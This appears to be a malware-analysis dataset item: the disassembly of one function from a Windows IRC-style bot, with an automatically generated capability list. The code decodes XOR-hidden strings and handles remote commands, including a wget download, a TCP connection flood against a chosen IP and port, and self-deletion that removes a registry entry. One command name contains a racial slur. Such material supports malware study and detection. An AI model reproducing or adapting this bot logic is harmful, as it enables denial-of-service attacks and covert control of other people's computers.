Function at 0x401b30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Delete registry value
Encode data using xor
Set socket configuration
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcf8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov ebx, ecx
push 0x404414
push edx
mov dword [ebp - 0xd4], ebx
call edi
add esp, 8
mov dword [ebp - 0xbc], eax
mov esi, 1
nop word [eax + eax]
push 0x404418
push 0
call edi
mov dword [ebp + esi*4 - 0xbc], eax
add esp, 8
inc esi
cmp esi, 0x20
jl 0x401b70
mov edi, dword [0x406058]
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401b94
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov edx, eax
sub eax, edi
nop dword [eax]
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x401bb0
xor ecx, ecx
test esi, esi
jle 0x401bce
xor byte [edx + ecx], cl
lea eax, [edx + ecx]
inc ecx
cmp ecx, esi
jl 0x401bc3
push edx
push dword [ebp - 0xbc]
mov byte [edx + esi], 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x401c58
mov edi, dword [0x406064]
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401bf1
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov edx, eax
sub eax, edi
nop word [eax + eax]
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x401c10
xor ecx, ecx
test esi, esi
jle 0x401c2e
xor byte [edx + ecx], cl
lea eax, [edx + ecx]
inc ecx
cmp ecx, esi
jl 0x401c23
push dword [ebp - 0xb8]
mov byte [edx + esi], 0
mov eax, dword [str._s__s]
mov dword [ebp - 0xc], eax
mov ax, word [0x404410]
mov word [ebp - 8], ax
lea eax, [ebp - 0xc]
push edx
push eax
push ebx
call fcn.00401700
add esp, 0x10
mov edi, dword [0x406094]
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401c63
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov ebx, eax
sub eax, edi
nop dword [eax]
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x401c80
xor ecx, ecx
test esi, esi
jle 0x401c9e
xor byte [ebx + ecx], cl
lea eax, [ebx + ecx]
inc ecx
cmp ecx, esi
jl 0x401c93
push dword [ebp - 0xb8]
mov byte [ebx + esi], 0
mov eax, dword [str._s__s]
mov dword [ebp - 0x14], eax
mov ax, word [0x404410]
mov word [ebp - 0x10], ax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 4
cmp eax, 5
je 0x401d33
cmp eax, 0x1c3
jne 0x401d4b
mov edi, dword [0x4060a0]
mov esi, edi
lea ecx, [esi + 1]
nop word [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x401ce0
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov edx, eax
sub eax, edi
nop dword [eax]
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x401d00
xor ecx, ecx
test esi, esi
jle 0x401d1e
xor byte [edx + ecx], cl
lea eax, [edx + ecx]
inc ecx
cmp ecx, esi
jl 0x401d13
push edx
push dword [ebp - 0xd4]
mov byte [edx + esi], 0
call fcn.00401700
add esp, 8
jmp 0x401d4b
push str.test
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0xd4]
call fcn.00401700
add esp, 0x10
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x401dd5
mov edi, dword [0x406070]
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401d64
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov edx, eax
sub eax, edi
nop dword [eax]
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x401d80
xor ecx, ecx
test esi, esi
jle 0x401d9e
xor byte [edx + ecx], cl
lea eax, [edx + ecx]
inc ecx
cmp ecx, esi
jl 0x401d93
push str.:.wget
mov byte [edx + esi], 0
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
push ebx
call esi
add esp, 8
test eax, eax
jne 0x401de6
mov eax, dword [ebp - 0xac]
test eax, eax
je 0x401dd5
push 0
push 0
push eax
push 0x4017c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402556
mov esp, ebp
pop ebp
ret
push str.:.hitme
push ebx
call esi
add esp, 8
test eax, eax
jne 0x401f25
mov edi, dword [ebp - 0xac]
test edi, edi
je 0x401dd5
mov eax, dword [ebp - 0xa8]
test eax, eax
je 0x401dd5
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x401dd5
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
push ebx
movzx esi, ax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 8
mov ebx, eax
xorps xmm0, xmm0
mov dword [ebp - 0xc], ebx
mov eax, 2
movlpd qword [ebp - 0xc8], xmm0
mov word [ebp - 0xd0], ax
push esi
call dword [sym.imp.WSOCK32.dll_htons]
push edi
mov word [ebp - 0xce], ax
mov dword [ebp - 0xc0], 1
call dword [sym.imp.WSOCK32.dll_inet_addr]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
test ebx, ebx
jle 0x401f09
mov ebx, dword [sym.imp.WSOCK32.dll_socket]
mov edi, dword [sym.imp.WSOCK32.dll_closesocket]
nop word [eax + eax]
xor esi, esi
push 0
push 1
push 2
call ebx
mov dword [ebp + esi*4 - 0xcf8], eax
cmp eax, 0xffffffff
je 0x401f09
lea ecx, [ebp - 0xc0]
push ecx
push 0x8004667e
push eax
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
inc esi
cmp esi, 0x309
jl 0x401e92
xor esi, esi
push 0x10
lea eax, [ebp - 0xd0]
push eax
push dword [ebp + esi*4 - 0xcf8]
call dword [sym.imp.WSOCK32.dll_connect]
inc esi
cmp esi, 0x309
jl 0x401ec4
xor esi, esi
push dword [ebp + esi*4 - 0xcf8]
call edi
inc esi
cmp esi, 0x309
jl 0x401ee5
mov ecx, dword [ebp - 0xd4]
inc ecx
mov dword [ebp - 0xd4], ecx
cmp ecx, dword [ebp - 0xc]
jl 0x401e90
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402556
mov esp, ebp
pop ebp
ret
push str.:.peacenigga
push ebx
call esi
add esp, 8
test eax, eax
jne 0x401dd5
movups xmm0, xmmword [str.:2_r_ndel___s__r_nif_exist___s__goto_2_r_n]
mov eax, dword [0x40445c]
push str.svchosts.exe
push dword [0x406080]
mov dword [ebp - 0x1c], eax
mov al, byte [0x404460]
movups xmmword [ebp - 0x3c], xmm0
mov byte [ebp - 0x18], al
lea eax, [ebp - 0xbc]
movups xmm0, xmmword [0x40444c]
push str._s_s
push eax
movups xmmword [ebp - 0x2c], xmm0
call fcn.00401010
lea eax, [ebp - 0xbc]
push eax
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
call fcn.00401ff0
mov ecx, dword [0x406074]
lea eax, [ebp - 0xd4]
add esp, 0x20
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
call fcn.004016a0
push eax
push connect
call dword [0x4064a4]
push str.Microsoft_Corp
push dword [ebp - 0xd4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0xd4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]